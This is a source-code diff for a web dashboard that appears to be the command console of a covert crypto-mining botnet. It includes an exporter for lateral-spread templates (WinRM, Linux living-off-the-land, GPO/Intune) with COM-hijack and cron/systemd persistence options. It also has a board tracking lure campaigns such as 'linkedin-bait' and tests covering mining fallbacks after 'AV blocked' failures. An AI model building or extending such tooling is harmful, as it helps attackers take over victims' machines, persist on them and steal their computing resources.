||||
export interface SpreadTemplateExportPanelProps {
|
||||
serverBase: string;
|
||||
buildId?: string;
|
||||
campaign?: string;
|
||||
}
|
||||
|
||||
export default function SpreadTemplateExportPanel({
|
||||
serverBase,
|
||||
buildId = '',
|
||||
campaign = '',
|
||||
}: SpreadTemplateExportPanelProps) {
|
||||
const [template, setTemplate] = useState<SpreadTemplateId>('winrm');
|
||||
const [comHijack, setComHijack] = useState(false);
|
||||
const [lotlMode, setLotlMode] = useState('systemd_run_user');
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [err, setErr] = useState('');
|
||||
|
||||
const meta = SPREAD_TEMPLATES.find((t) => t.id === template);
|
||||
|
||||
const onExport = async () => {
|
||||
setErr('');
|
||||
setBusy(true);
|
||||
try {
|
||||
await api.exportSpreadTemplate({
|
||||
template,
|
||||
server_url: serverBase,
|
||||
build_id: buildId.trim(),
|
||||
campaign: campaign.trim(),
|
||||
com_hijack: comHijack,
|
||||
lotl_mode: lotlMode,
|
||||
});
|
||||
} catch (e) {
|
||||
setErr(e instanceof Error ? e.message : String(e));
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="crucible-spread-templates" style={{ marginTop: '0.75rem' }}>
|
||||
<p className="crucible-seek-blurb" style={{ marginBottom: '0.5rem' }}>
|
||||
Export spread templates (WinRM, Linux LOTL, GPO/Intune). Mining policy stays on the command deck.
|
||||
{meta ? (
|
||||
<>
|
||||
{' '}
|
||||
<a href={spreadTechniqueDocUrl(meta.docAnchor)} target="_blank" rel="noreferrer">
|
||||
Playbook
|
||||
</a>
|
||||
</>
|
||||
) : null}
|
||||
</p>
|
||||
<div style={{ display: 'flex', flexWrap: 'wrap', gap: '0.5rem', alignItems: 'center' }}>
|
||||
<select
|
||||
className="crucible-inline-input"
|
||||
value={template}
|
||||
onChange={(e) => setTemplate(e.target.value as SpreadTemplateId)}
|
||||
aria-label="Spread template"
|
||||
>
|
||||
{SPREAD_TEMPLATES.map((t) => (
|
||||
<option key={t.id} value={t.id}>
|
||||
{t.label}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
{template === 'winrm' ? (
|
||||
<label style={{ display: 'inline-flex', alignItems: 'center', gap: '0.35rem', fontSize: '0.85rem' }}>
|
||||
<input type="checkbox" checked={comHijack} onChange={(e) => setComHijack(e.target.checked)} />
|
||||
COM hijack (owned only)
|
||||
</label>
|
||||
) : null}
|
||||
{template === 'linux-lotl' ? (
|
||||
<select
|
||||
className="crucible-inline-input"
|
||||
value={lotlMode}
|
||||
onChange={(e) => setLotlMode(e.target.value)}
|
||||
aria-label="LOTL persistence"
|
||||
>
|
||||
<option value="systemd_run_user">systemd-run --user</option>
|
||||
<option value="crontab">crontab @reboot</option>
|
||||
<option value="both">both</option>
|
||||
<option value="off">run once only</option>
|
||||
</select>
|
||||
) : null}
|
||||
<button type="button" className="button crucible-op-btn" disabled={busy || !serverBase.trim()} onClick={() => void onExport()}>
|
||||
{busy ? 'Exporting…' : `Export ${spreadTemplateZipName(template)}`}
|
||||
</button>
|
||||
</div>
|
||||
{err ? <p className="form-error" style={{ marginTop: '0.35rem' }}>{err}</p> : null}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -32,7 +32,6 @@ function operatorDeckId(pathname: string): string {
|
||||
if (path.startsWith('/forge') || path.startsWith('/builder')) return 'forge';
|
||||
if (path.startsWith('/crucible')) return 'crucible';
|
||||
if (path.startsWith('/emberwake') || path.startsWith('/spread')) return 'emberwake';
|
||||
if (path.startsWith('/agents')) return 'fleet';
|
||||
if (path.startsWith('/builds')) return 'builds';
|
||||
if (path.startsWith('/settings')) return 'settings';
|
||||
if (path.startsWith('/pathtracer')) return 'pathtracer';
|
||||
@@ -41,7 +40,6 @@ function operatorDeckId(pathname: string): string {
|
||||
|
||||
const NAV = [
|
||||
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
|
||||
{ to: '/agents', label: 'Fleet Roster', icon: 'fleet' },
|
||||
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
|
||||
{ to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
|
||||
{ to: '/forge', label: 'Forge', icon: 'forge' },
|
||||
@@ -53,7 +51,7 @@ const NAV = [
|
||||
|
||||
const DOCS_HREF = '/docs/';
|
||||
|
||||
/** Primary tabs on mobile bottom bar — Deck, Fleet, Crucible, Path Tracer, Forge */
|
||||
/** Primary tabs on mobile bottom bar — Deck, Crucible, Path Tracer, Forge, Mission Deck */
|
||||
const MOBILE_PRIMARY = NAV.slice(0, 5);
|
||||
/** Mission Deck, Builds, Emberwake, Calibrate — “More” sheet */
|
||||
const MOBILE_MORE = NAV.slice(5);
|
||||
@@ -257,7 +255,6 @@ export default function Layout({ children }: LayoutProps) {
|
||||
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
|
||||
const mobileShortLabel: Record<string, string> = {
|
||||
'/dashboard': 'Deck',
|
||||
'/agents': 'Fleet',
|
||||
'/crucible': 'Ops',
|
||||
'/pathtracer': 'Tracer',
|
||||
'/forge': 'Forge',
|
||||
|
||||
@@ -27,6 +27,8 @@ function LaserPulse({ start, end, color }: { start: [number, number, number], en
|
||||
}
|
||||
|
||||
const STALE_THRESHOLD_MS = 5 * 60 * 1000;
|
||||
/** Cap 3D nodes to keep WebGL performant on large fleets. */
|
||||
const TOPOLOGY_NODE_CAP = 200;
|
||||
|
||||
function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [number, number, number], serverPos: [number, number, number] }) {
|
||||
const isOnline = agent.status === 'online';
|
||||
@@ -82,9 +84,16 @@ function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [nu
|
||||
|
||||
export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
|
||||
const serverPos: [number, number, number] = [0, 0, 0];
|
||||
const displayAgents = useMemo(() => {
|
||||
if (agents.length <= TOPOLOGY_NODE_CAP) return agents;
|
||||
const online = agents.filter((a) => a.status === 'online');
|
||||
const pool = online.length >= TOPOLOGY_NODE_CAP ? online : agents;
|
||||
return pool.slice(0, TOPOLOGY_NODE_CAP);
|
||||
}, [agents]);
|
||||
const capped = agents.length > TOPOLOGY_NODE_CAP;
|
||||
|
||||
const agentNodes = useMemo(() => {
|
||||
return agents.map((agent, i) => {
|
||||
return displayAgents.map((agent, i) => {
|
||||
const goldenRatio = (1 + Math.sqrt(5)) / 2;
|
||||
const angle = i * Math.PI * 2 * goldenRatio;
|
||||
// Distribute in a spherical/cylindrical rough cluster
|
||||
@@ -94,13 +103,14 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
|
||||
const y = (Math.random() - 0.5) * 6;
|
||||
return { agent, position: [x, y, z] as [number, number, number] };
|
||||
});
|
||||
}, [agents]);
|
||||
}, [displayAgents]);
|
||||
|
||||
return (
|
||||
<div className="topology-container" style={{ width: '100%', height: '500px', background: '#050508', borderRadius: '8px', overflow: 'hidden', border: '1px solid var(--neon-cyan)', position: 'relative', boxShadow: '0 0 20px rgba(0, 245, 255, 0.1)' }}>
|
||||
<div style={{ position: 'absolute', top: 15, left: 15, zIndex: 10, color: 'var(--neon-cyan)', fontFamily: 'monospace', textShadow: '0 0 5px var(--neon-cyan)' }}>
|
||||
<span className="live-beacon on" style={{ display: 'inline-block', marginRight: 8, verticalAlign: 'middle' }}></span>
|
||||
3D_MESH_TOPOLOGY // {agents.filter(a => a.status === 'online').length} NODES LINKED
|
||||
3D_MESH_TOPOLOGY // {displayAgents.filter(a => a.status === 'online').length} NODES LINKED
|
||||
{capped && ` (showing ${TOPOLOGY_NODE_CAP}/${agents.length})`}
|
||||
</div>
|
||||
<Canvas camera={{ position: [0, 8, 14], fov: 50 }}>
|
||||
<color attach="background" args={['#050508']} />
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { useEffect, useState, type CSSProperties } from 'react';
|
||||
import type { WarRoomCampaign } from '../../types';
|
||||
import type { Agent, WarRoomCampaign } from '../../types';
|
||||
import {
|
||||
detectFunnelLeaks,
|
||||
formatHashrate,
|
||||
@@ -9,6 +9,8 @@ import {
|
||||
sparklineMax,
|
||||
staggerDelayMs,
|
||||
} from '../../help/warRoom';
|
||||
import { hashHeatIntensity, lotlTierLabel } from '../../help/warRoomTelemetry';
|
||||
import JoinLaneBadge from '../Fleet/JoinLaneBadge';
|
||||
import WarRoomOdometer from './WarRoomOdometer';
|
||||
|
||||
interface WarRoomFunnelBoardProps {
|
||||
@@ -16,9 +18,18 @@ interface WarRoomFunnelBoardProps {
|
||||
days: number;
|
||||
refreshKey?: string;
|
||||
highlightCampaign?: string | null;
|
||||
campaignAgents?: Record<string, Agent[]>;
|
||||
maxLiveHashrate?: number;
|
||||
}
|
||||
|
||||
export default function WarRoomFunnelBoard({ campaigns, days, refreshKey, highlightCampaign }: WarRoomFunnelBoardProps) {
|
||||
export default function WarRoomFunnelBoard({
|
||||
campaigns,
|
||||
days,
|
||||
refreshKey,
|
||||
highlightCampaign,
|
||||
campaignAgents = {},
|
||||
maxLiveHashrate = 0,
|
||||
}: WarRoomFunnelBoardProps) {
|
||||
const [alive, setAlive] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
@@ -39,14 +50,24 @@ export default function WarRoomFunnelBoard({ campaigns, days, refreshKey, highli
|
||||
const primaryLeak = leaks[0];
|
||||
const max = sparklineMax(c.daily_hits);
|
||||
const hits = c.hits ?? 0;
|
||||
const heat = hashHeatIntensity(c.hashrate ?? 0, maxLiveHashrate || c.hashrate || 0);
|
||||
const agents = campaignAgents[c.campaign] ?? [];
|
||||
const onlineAgents = agents.filter((a) => a.status === 'online');
|
||||
|
||||
return (
|
||||
<article
|
||||
key={c.campaign}
|
||||
id={`war-room-campaign-${c.campaign}`}
|
||||
className={`war-room-funnel-card${highlightCampaign === c.campaign ? ' war-room-funnel-card--highlighted' : ''}`}
|
||||
className={`war-room-funnel-card${
|
||||
highlightCampaign === c.campaign ? ' war-room-funnel-card--highlighted' : ''
|
||||
}${heat > 0 ? ' war-room-funnel-card--heat' : ''}`}
|
||||
role="listitem"
|
||||
style={{ '--card-stagger': `${cardIndex * 0.12}s` } as CSSProperties}
|
||||
style={
|
||||
{
|
||||
'--card-stagger': `${cardIndex * 0.12}s`,
|
||||
'--hash-heat': heat,
|
||||
} as CSSProperties
|
||||
}
|
||||
>
|
||||
<header className="war-room-funnel-card-head">
|
||||
<div>
|
||||
@@ -77,6 +98,23 @@ export default function WarRoomFunnelBoard({ campaigns, days, refreshKey, highli
|
||||
</div>
|
||||
</header>
|
||||
|
||||
{onlineAgents.length > 0 ? (
|
||||
<div className="war-room-agent-tags" aria-label="Live campaign agents">
|
||||
{onlineAgents.slice(0, 8).map((a) => {
|
||||
const tier = lotlTierLabel(a.lotl_tier);
|
||||
return (
|
||||
<span key={a.id} className="war-room-agent-tag" title={a.name}>
|
||||
<span className="war-room-agent-tag-name">{a.name}</span>
|
||||
{tier ? <span className="war-room-lotl-badge">{tier}</span> : null}
|
||||
{a.join_lane ? (
|
||||
<JoinLaneBadge lane={a.join_lane} className="war-room-join-lane-badge" />
|
||||
) : null}
|
||||
</span>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
) : null}
|
||||
|
||||
<div className="war-room-funnel-pipeline" aria-label="Campaign funnel">
|
||||
{stages.map((stage, idx) => (
|
||||
<div key={stage.id} className="war-room-funnel-stage">
|
||||
|
||||
@@ -456,6 +456,46 @@ describe('AgentRemoteActions', () => {
|
||||
});
|
||||
expect(screen.getByRole('button', { name: 'Screenshot' })).toBeDisabled();
|
||||
});
|
||||
|
||||
it('shows LOTL tier badge in target header when lotl_tier is set', async () => {
|
||||
render(
|
||||
<MemoryRouter future={routerFuture}>
|
||||
<AgentRemoteActions
|
||||
agent={mockAgent({ id: 'lotl-1', name: 'Tier Node', status: 'online', lotl_tier: 'container' })}
|
||||
online
|
||||
/>
|
||||
</MemoryRouter>,
|
||||
);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('LOTL Container')).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
it('shows mining method in live stats when active_method is set', async () => {
|
||||
render(
|
||||
<MemoryRouter future={routerFuture}>
|
||||
<AgentRemoteActions
|
||||
agent={mockAgent({
|
||||
id: 'mine-1',
|
||||
name: 'Miner Node',
|
||||
status: 'online',
|
||||
hashrate_15s: 500,
|
||||
cpu_usage_pct: 40,
|
||||
memory_usage_pct: 30,
|
||||
active_method: 'inprocess',
|
||||
stratum_overlay: true,
|
||||
failed_methods: [{ method: 'container', reason: 'AV blocked', at: '2026-06-06T12:00:00Z' }],
|
||||
})}
|
||||
online
|
||||
showLiveStats
|
||||
/>
|
||||
</MemoryRouter>
|
||||
);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText(/Mining inprocess\+stratum/i)).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByText(/Fallback container failed/i)).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
describe('AgentListItem', () => {
|
||||
@@ -881,6 +921,6 @@ describe('Layout', () => {
|
||||
expect(screen.getByText('page body')).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByRole('link', { name: /Command Deck/i })).toBeInTheDocument();
|
||||
expect(screen.getByRole('link', { name: /Fleet Roster/i })).toBeInTheDocument();
|
||||
expect(screen.getByRole('link', { name: /Crucible/i })).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -232,4 +232,108 @@ describe('WebSocketProvider', () => {
|
||||
unmount();
|
||||
expect(closeSpy).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('applies stats_batch mining fields to agents', async () => {
|
||||
const agent = mockAgent({ id: 'batch-1', active_method: undefined });
|
||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||
await waitForSocket();
|
||||
|
||||
act(() => {
|
||||
latestSocket().emitOpen();
|
||||
latestSocket().emitMessage({ type: 'init', payload: { agents: [agent] } });
|
||||
latestSocket().emitMessage({
|
||||
type: 'stats_batch',
|
||||
payload: {
|
||||
updates: [
|
||||
{
|
||||
agent_id: 'batch-1',
|
||||
hashrate_15s: 250,
|
||||
hashrate_1m: 240,
|
||||
hashrate_15m: 230,
|
||||
cpu_usage_pct: 55,
|
||||
active_method: 'inprocess',
|
||||
stratum_overlay: true,
|
||||
chain_exhausted: false,
|
||||
mining_hashrate: 850,
|
||||
lotl_tier: 'tier-2',
|
||||
},
|
||||
],
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
expect(result.current.agents[0].hashrate_15s).toBe(250);
|
||||
expect(result.current.agents[0].active_method).toBe('inprocess');
|
||||
expect(result.current.agents[0].stratum_overlay).toBe(true);
|
||||
expect(result.current.agents[0].mining_hashrate).toBe(850);
|
||||
expect(result.current.agents[0].lotl_tier).toBe('tier-2');
|
||||
});
|
||||
|
||||
it('applies stats_batch lotl_attempts to agents', async () => {
|
||||
const agent = mockAgent({ id: 'batch-lotl' });
|
||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||
await waitForSocket();
|
||||
|
||||
act(() => {
|
||||
latestSocket().emitOpen();
|
||||
latestSocket().emitMessage({ type: 'init', payload: { agents: [agent] } });
|
||||
latestSocket().emitMessage({
|
||||
type: 'stats_batch',
|
||||
payload: {
|
||||
updates: [
|
||||
{
|
||||
agent_id: 'batch-lotl',
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 100,
|
||||
hashrate_15m: 100,
|
||||
cpu_usage_pct: 10,
|
||||
lotl_tier: 'cpu_inprocess',
|
||||
lotl_attempts: [
|
||||
{ tier: 'wsl', ok: false, error: 'no distro', duration_ms: 600 },
|
||||
{ tier: 'cpu_inprocess', ok: true, duration_ms: 1100 },
|
||||
],
|
||||
},
|
||||
],
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
expect(result.current.agents[0].lotl_tier).toBe('cpu_inprocess');
|
||||
expect(result.current.agents[0].lotl_attempts).toHaveLength(2);
|
||||
expect(result.current.agents[0].lotl_attempts?.[1].ok).toBe(true);
|
||||
});
|
||||
|
||||
it('applies emberwake_war_room WS payload', async () => {
|
||||
const warRoomPayload = {
|
||||
generated_at: '2026-06-06T15:00:00.000Z',
|
||||
days: 7,
|
||||
campaigns: [
|
||||
{
|
||||
campaign: 'linkedin-bait',
|
||||
hits: 42,
|
||||
downloads: 10,
|
||||
agents: 3,
|
||||
online: 2,
|
||||
hashrate: 1500,
|
||||
conversion_pct: 7.1,
|
||||
daily_hits: [1, 2, 3, 4, 5, 6, 7],
|
||||
},
|
||||
],
|
||||
};
|
||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||
await waitForSocket();
|
||||
|
||||
act(() => {
|
||||
latestSocket().emitOpen();
|
||||
latestSocket().emitMessage({
|
||||
type: 'emberwake_war_room',
|
||||
payload: warRoomPayload,
|
||||
});
|
||||
});
|
||||
|
||||
expect(result.current.latestMessage?.type).toBe('emberwake_war_room');
|
||||
expect(result.current.latestMessage?.payload).toEqual(warRoomPayload);
|
||||
expect(result.current.latestMessage?.payload.campaigns[0].campaign).toBe('linkedin-bait');
|
||||
expect(result.current.latestMessage?.payload.campaigns[0].hits).toBe(42);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
import React, { useEffect, useRef, useCallback, useState, useMemo } from 'react';
|
||||
import { agentStatsUnchanged, WS_LATEST_MESSAGE_TYPES } from '../help/wsStatsCoalesce';
|
||||
import { WS_LATEST_MESSAGE_TYPES } from '../help/wsStatsCoalesce';
|
||||
import { applyStatsUpdates } from '../help/applyStatsUpdate';
|
||||
import type {
|
||||
WSDashboardInit,
|
||||
WSAgentOffline,
|
||||
WSStatsUpdate,
|
||||
WSStatsBatch,
|
||||
WSCommandResult,
|
||||
WSAgentLog,
|
||||
WSPolicyAck,
|
||||
@@ -172,64 +174,14 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
}
|
||||
case 'stats_update': {
|
||||
const update = msg.payload as WSStatsUpdate;
|
||||
setAgents((prev) => {
|
||||
const idx = prev.findIndex((a) => a.id === update.agent_id);
|
||||
if (idx < 0) return prev;
|
||||
if (agentStatsUnchanged(prev[idx], update)) return prev;
|
||||
return prev.map((a) =>
|
||||
a.id === update.agent_id
|
||||
? {
|
||||
...a,
|
||||
hashrate_15s: update.hashrate_15s,
|
||||
hashrate_1m: update.hashrate_1m,
|
||||
hashrate_15m: update.hashrate_15m,
|
||||
cpu_usage_pct: update.cpu_usage_pct,
|
||||
memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct,
|
||||
uptime_seconds: update.uptime_seconds ?? a.uptime_seconds,
|
||||
shares_total: update.shares_submitted ?? a.shares_total,
|
||||
shares_good: update.shares_accepted ?? a.shares_good,
|
||||
shares_bad: Math.max(
|
||||
0,
|
||||
(update.shares_submitted ?? a.shares_total) -
|
||||
(update.shares_accepted ?? a.shares_good)
|
||||
),
|
||||
status: 'online' as const,
|
||||
...(update.listen_port_count !== undefined ? { listen_port_count: update.listen_port_count } : {}),
|
||||
...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
|
||||
...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
|
||||
...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),
|
||||
...(update.cpu_freq_mhz !== undefined ? { cpu_freq_mhz: update.cpu_freq_mhz } : {}),
|
||||
...(update.cpu_max_mhz !== undefined ? { cpu_max_mhz: update.cpu_max_mhz } : {}),
|
||||
...(update.cpu_throttle !== undefined ? { cpu_throttle: update.cpu_throttle } : {}),
|
||||
...(update.cpu_temp_c !== undefined ? { cpu_temp_c: update.cpu_temp_c } : {}),
|
||||
...(update.disk_free_gb !== undefined ? { disk_free_gb: update.disk_free_gb } : {}),
|
||||
...(update.disk_total_gb !== undefined ? { disk_total_gb: update.disk_total_gb } : {}),
|
||||
...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
|
||||
...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
|
||||
...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
|
||||
...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
|
||||
...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
|
||||
...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
|
||||
...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
|
||||
...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
|
||||
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
|
||||
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
|
||||
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
|
||||
...(update.defender_rtp !== undefined ? { defender_rtp: update.defender_rtp } : {}),
|
||||
...(update.av_products !== undefined ? { av_products: update.av_products } : {}),
|
||||
...(update.firewall_domain !== undefined ? { firewall_domain: update.firewall_domain } : {}),
|
||||
...(update.firewall_private !== undefined ? { firewall_private: update.firewall_private } : {}),
|
||||
...(update.firewall_public !== undefined ? { firewall_public: update.firewall_public } : {}),
|
||||
...(update.last_patch !== undefined ? { last_patch: update.last_patch } : {}),
|
||||
...(update.pending_updates !== undefined ? { pending_updates: update.pending_updates } : {}),
|
||||
...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
|
||||
...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
|
||||
...(update.services !== undefined ? { services: update.services } : {}),
|
||||
...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
|
||||
}
|
||||
: a,
|
||||
);
|
||||
});
|
||||
setAgents((prev) => applyStatsUpdates(prev, [update]));
|
||||
break;
|
||||
}
|
||||
case 'stats_batch': {
|
||||
const batch = msg.payload as WSStatsBatch;
|
||||
if (Array.isArray(batch?.updates) && batch.updates.length > 0) {
|
||||
setAgents((prev) => applyStatsUpdates(prev, batch.updates));
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'new_share': {
|
||||
|
||||
133
server/web/src/help/applyStatsUpdate.test.ts
Normal file
133
server/web/src/help/applyStatsUpdate.test.ts
Normal file
@@ -0,0 +1,133 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import type { Agent } from '../types';
|
||||
import { applyStatsUpdates } from './applyStatsUpdate';
|
||||
|
||||
const baseAgent = (): Agent => ({
|
||||
id: 'a1',
|
||||
name: 'node',
|
||||
wallet: '',
|
||||
ip: '10.0.0.1',
|
||||
version: '1',
|
||||
status: 'online',
|
||||
cpu_cores: 4,
|
||||
memory_gb: 8,
|
||||
last_seen: new Date().toISOString(),
|
||||
created_at: new Date().toISOString(),
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 100,
|
||||
hashrate_15m: 100,
|
||||
shares_total: 0,
|
||||
shares_good: 0,
|
||||
shares_bad: 0,
|
||||
cpu_usage_pct: 10,
|
||||
memory_usage_pct: 20,
|
||||
uptime_seconds: 60,
|
||||
});
|
||||
|
||||
describe('applyStatsUpdates', () => {
|
||||
it('applies batch updates in one pass', () => {
|
||||
const agents = [baseAgent(), { ...baseAgent(), id: 'a2', hashrate_15m: 50 }];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{ agent_id: 'a1', hashrate_15s: 200, hashrate_1m: 200, hashrate_15m: 200, cpu_usage_pct: 15 },
|
||||
{ agent_id: 'a2', hashrate_15s: 80, hashrate_1m: 80, hashrate_15m: 80, cpu_usage_pct: 5 },
|
||||
]);
|
||||
expect(next[0].hashrate_15m).toBe(200);
|
||||
expect(next[1].hashrate_15m).toBe(80);
|
||||
});
|
||||
|
||||
it('returns same reference when nothing changed', () => {
|
||||
const agents = [baseAgent()];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{ agent_id: 'a1', hashrate_15s: 100, hashrate_1m: 100, hashrate_15m: 100, cpu_usage_pct: 10 },
|
||||
]);
|
||||
expect(next).toBe(agents);
|
||||
});
|
||||
|
||||
it('merges mining cascade fields from stats_batch updates', () => {
|
||||
const agents = [baseAgent()];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{
|
||||
agent_id: 'a1',
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 100,
|
||||
hashrate_15m: 100,
|
||||
cpu_usage_pct: 10,
|
||||
active_method: 'inprocess',
|
||||
stratum_overlay: true,
|
||||
chain_exhausted: false,
|
||||
chain_order: ['container', 'inprocess', 'stratum_direct'],
|
||||
failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }],
|
||||
last_error: 'container start blocked',
|
||||
},
|
||||
]);
|
||||
expect(next[0].active_method).toBe('inprocess');
|
||||
expect(next[0].stratum_overlay).toBe(true);
|
||||
expect(next[0].chain_order).toEqual(['container', 'inprocess', 'stratum_direct']);
|
||||
expect(next[0].failed_methods).toHaveLength(1);
|
||||
expect(next[0].last_error).toBe('container start blocked');
|
||||
});
|
||||
|
||||
it('applies batch mining updates for multiple agents', () => {
|
||||
const agents = [baseAgent(), { ...baseAgent(), id: 'a2', name: 'node-b' }];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{ agent_id: 'a1', hashrate_15s: 100, hashrate_1m: 100, hashrate_15m: 100, cpu_usage_pct: 10, active_method: 'container' },
|
||||
{ agent_id: 'a2', hashrate_15s: 50, hashrate_1m: 50, hashrate_15m: 50, cpu_usage_pct: 5, chain_exhausted: true },
|
||||
]);
|
||||
expect(next[0].active_method).toBe('container');
|
||||
expect(next[1].chain_exhausted).toBe(true);
|
||||
});
|
||||
|
||||
it('merges vuln_findings and vuln_risk_score from stats_batch', () => {
|
||||
const agents = [{ ...baseAgent(), id: 'v1', name: 'Vuln Node' }];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{
|
||||
agent_id: 'v1',
|
||||
hashrate_15s: 0,
|
||||
hashrate_1m: 0,
|
||||
hashrate_15m: 0,
|
||||
cpu_usage_pct: 0,
|
||||
vuln_risk_score: 42,
|
||||
vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }],
|
||||
},
|
||||
]);
|
||||
expect(next[0].vuln_risk_score).toBe(42);
|
||||
expect(next[0].vuln_findings?.[0].cve_id).toBe('CVE-2021-26855');
|
||||
});
|
||||
|
||||
it('merges mining_hashrate and lotl_tier from stats_batch', () => {
|
||||
const agents = [baseAgent()];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{
|
||||
agent_id: 'a1',
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 100,
|
||||
hashrate_15m: 100,
|
||||
cpu_usage_pct: 10,
|
||||
mining_hashrate: 850,
|
||||
lotl_tier: 'tier-1',
|
||||
},
|
||||
]);
|
||||
expect(next[0].mining_hashrate).toBe(850);
|
||||
expect(next[0].lotl_tier).toBe('tier-1');
|
||||
});
|
||||
|
||||
it('merges lotl_attempts from stats_batch', () => {
|
||||
const agents = [baseAgent()];
|
||||
const attempts = [
|
||||
{ tier: 'container', ok: false, error: 'docker missing', duration_ms: 400 },
|
||||
{ tier: 'cpu_inprocess', ok: true, duration_ms: 900 },
|
||||
];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{
|
||||
agent_id: 'a1',
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 100,
|
||||
hashrate_15m: 100,
|
||||
cpu_usage_pct: 10,
|
||||
lotl_tier: 'cpu_inprocess',
|
||||
lotl_attempts: attempts,
|
||||
},
|
||||
]);
|
||||
expect(next[0].lotl_attempts).toEqual(attempts);
|
||||
});
|
||||
});
|
||||
82
server/web/src/help/applyStatsUpdate.ts
Normal file
82
server/web/src/help/applyStatsUpdate.ts
Normal file
@@ -0,0 +1,82 @@
|
||||
import type { Agent } from '../types';
|
||||
import type { WSStatsUpdate } from '../types/ws';
|
||||
import { agentStatsUnchanged } from './wsStatsCoalesce';
|
||||
|
||||
/** Merge one stats_update payload into an agent row. */
|
||||
export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent {
|
||||
return {
|
||||
...agent,
|
||||
hashrate_15s: update.hashrate_15s,
|
||||
hashrate_1m: update.hashrate_1m,
|
||||
hashrate_15m: update.hashrate_15m,
|
||||
cpu_usage_pct: update.cpu_usage_pct,
|
||||
memory_usage_pct: update.memory_usage_pct ?? agent.memory_usage_pct,
|
||||
uptime_seconds: update.uptime_seconds ?? agent.uptime_seconds,
|
||||
shares_total: update.shares_submitted ?? agent.shares_total,
|
||||
shares_good: update.shares_accepted ?? agent.shares_good,
|
||||
shares_bad: Math.max(
|
||||
0,
|
||||
(update.shares_submitted ?? agent.shares_total) -
|
||||
(update.shares_accepted ?? agent.shares_good),
|
||||
),
|
||||
status: 'online' as const,
|
||||
...(update.listen_port_count !== undefined ? { listen_port_count: update.listen_port_count } : {}),
|
||||
...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
|
||||
...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
|
||||
...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),
|
||||
...(update.cpu_freq_mhz !== undefined ? { cpu_freq_mhz: update.cpu_freq_mhz } : {}),
|
||||
...(update.cpu_max_mhz !== undefined ? { cpu_max_mhz: update.cpu_max_mhz } : {}),
|
||||
...(update.cpu_throttle !== undefined ? { cpu_throttle: update.cpu_throttle } : {}),
|
||||
